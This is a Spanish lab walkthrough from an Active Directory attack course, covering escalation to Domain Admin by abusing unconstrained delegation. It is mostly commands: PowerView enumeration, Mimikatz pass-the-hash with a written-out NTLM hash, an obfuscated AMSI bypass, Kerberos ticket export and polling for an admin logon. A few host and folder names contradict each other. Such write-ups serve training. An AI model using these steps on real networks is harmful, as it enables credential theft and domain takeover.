# 17. Domain Privilege Escalation Unconstrained Delegation
Task
- Find a server in the dcorp domain where Unconstrained Delegation is enabled.
- Access that server, wait for a Domain Admin to connect to that server and get Domain Admin privileges.
Solución:
Primero tenemos que encontrar un servidor que tenga activada la delegación sin restricciones:
```
PS C:\AD\Tools> Get-NetComputer -Unconstrained | select -ExpandProperty name
```
Dado que el prerrequisito para la elevación utilizando Unconstrained Delegation es tener acceso de administrador a la máquina, necesitamos comprometer un usuario que tenga acceso de administrador local en appsrv.
Recordemos que extrajimos el hash NTLM de appadmin, srvadmin y websvc de dcorp-adminsrv. Vamos a comprobar si alguno de ellos tiene privilegios de administrador local en dcom-appsrv:
```
PS C:\WINDOWS\system32> powershell -ep bypass
PS C:\WINDOWS\system32> cd C:\AD\Tools\
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1
PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7 /run:powershell.exe"'
```
```
mimikatz(powershell) # sekurlsa::pth /user:appadmin /domain:dollarcorp.moneycorp.local /ntlm:d549831a955fee51a43c83efb3928fa7 /run:powershell.exe
```
```
PS C:\AD\Tools> . .\PowerView.ps1
PS C:\AD\Tools> Find-LocalAdminAccess
```
Muy bien. Ahora, vamos a ejecutar el siguiente comando mimikatz en la nueva sesión de PowerShell que se ejecuta como appadmin para comprobar si hay un ticket de Administrador de Dominio ya presente en ella:
```
PS C:\Windows\system32> powershell -ep bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Windows\system32> $sess = New-PSSession -ComputerName dcorp-appsrv.dollarcorp.moneycorp.local
PS C:\AD\Tools> Enter-PSSession -Session $sess
```
```
[dcorp-appsrv]: PS C:\Users\appadmin\Documents> sET-ItEM ( 'V'+'aR' + 'IA' +
'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ;
(
GeT-
VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"((
"{6}{3}{1}{4}{2}{0}{5}" -
f'Util','A','Amsi','.Management.','utomation.','s','System' )
)."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),(
"{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(
${n`ULl},${t`RuE} )
[dcorp-appsrv]: PS C:\Users\appadmin\Documents> exit
```
```
PS C:\Windows\system32> Invoke-Command -FilePath C:\AD\Tools\Invoke-Mimikatz.ps1 -Session $sess
PS C:\Windows\system32> Enter-PSSession -Session $sess
[dcorp-appsrv]: PS C:\Users\appadmin\Documents>
```
Crea un directorio userx:
```
[dcorp-appsrv]: PS C:\Users\appadmin\Documents> mkdir userx
[dcorp-appsrv]: PS C:\Users\appadmin\Documents> cd .\userx
[dcorp-appsrv]: PS C:\Users\appadmin\Documents\userx> Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
```
```
[dcorp-appsrv.dollarcorp.moneycorp.local]: PS C:\Users\appadmin\Documents\user1> ls | select name
```
No hubo suerte. Tenemos que esperar o engañar a un DA para acceder a un recurso en dcorp-adminsrv. Podemos usar el siguiente comando siguiente comando de PowerView para esperar a que un determinado DA acceda a un recurso en dcorp-adminsrv:
```
PS C:\AD\Tools> Invoke-UserHunter -ComputerName dcorp-appsrv -Poll 100 -UserName Administrator -Delay 5 -Verbose
```